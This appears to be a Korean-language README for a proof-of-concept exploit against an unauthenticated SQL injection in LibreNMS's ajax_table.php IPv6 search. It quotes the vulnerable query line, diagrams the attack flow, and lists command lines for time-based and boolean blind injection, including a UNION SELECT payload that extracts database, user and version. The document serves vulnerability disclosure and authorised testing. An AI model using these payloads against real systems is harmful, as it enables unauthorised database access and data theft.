
LibreNMS ajax_table.php의 인증되지 않은 SQL 인젝션에 대한 개념 증명 익스플로잇으로, 승인된 보안 테스트를 위한 시간 기반 및 부울 기반 블라인드 인젝션 기법을 시연합니다.
인증되지 않은 SQL 인젝션이 LibreNMS ajax_table.php의 IPv6 주소 검색 매개변수를 통해 발생합니다.
15429580baba03ed1dd377bada1bde4b7a1175a1)CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:Nsearch_type=ipv6일 때 address 매개변수는 /를 기준으로 주소와 프리픽스로 분리됩니다.
프리픽스는 이스케이프 없이 SQL 쿼리에 직접 연결됩니다:
$sql .= " AND ipv6_prefixlen = '$prefix'";
프리픽스 부분의 작은따옴표(')는 문자열 리터럴을 벗어나게 하여 → 임의의 SQL 인젝션을 가능하게 합니다.
flowchart TD
A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
E -->|5. Execute injected query| F[Return results / error / delay]
F -->|6. Attacker observes response / timing| A
subgraph "Injection Point"
D
end
style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff
requests 라이브러리 (pip install requests)python3 exploit.py http://target/librenms --test
python3 exploit.py http://192.168.1.50/librenms --time
→ 응답이 5~6초 이상 걸리면 → 취약함
python3 exploit.py http://target/librenms --boolean
python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "
exploit.py .............. 메인 PoC 스크립트 (필요 시 cve-2026-26988-poc.py에서 이름 변경)README.md ............... 이 파일15429580baba... → PR #18777이 개념 증명(PoC)은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유자의 명시적인 서면 허가 없이 이 코드를 어떤 시스템이나 네트워크에도 사용하지 마십시오.
무단 사용은 미국의 컴퓨터 사기 및 남용법(CFAA) 또는 해당 국가의 동등한 법률을 포함한 법률을 위반할 수 있습니다.
사용에 따른 책임은 본인에게 있습니다.
저자: Mohammed Idrees Banyamer
인스타그램: @banyamer_security
날짜: 2026년 2월 20일